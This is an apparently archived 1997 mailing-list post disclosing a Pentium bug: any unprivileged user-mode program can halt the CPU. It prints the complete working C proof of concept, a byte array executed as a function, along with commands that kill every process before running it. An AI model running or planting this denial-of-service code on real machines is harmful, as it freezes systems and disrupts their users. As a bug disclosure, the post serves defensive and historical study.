Pentium DEATH in user-mode

Richard B. Johnson (root@chaos.analogic.com)
Fri, 7 Nov 1997 17:37:07 -0500 (EST)


The following user-mode program will stop the internal clock
of a Pentium.

char x[5]={0xf0,0x0f,0xc7,0xc8,0x00};
main()
{
void(*f)() = x;
(*f)();
}

Warning! Dismount your disks first before running this..

# kill -TERM -1
# kill -KILL -1
# sync
# dismount -a

... Now execute the program. The CPU will halt. Its temperature
will cool to ambient showing that its internal clock has halted.

This is not a good_thing(tm).

Cheers,
Dick Johnson

Richard B. Johnson
Project Engineer
Analogic Corporation
Penguin : Linux version 2.1.60 on an i586 machine (66.15 BogoMips).
Warning : It's hard to remain at the trailing edge of technology.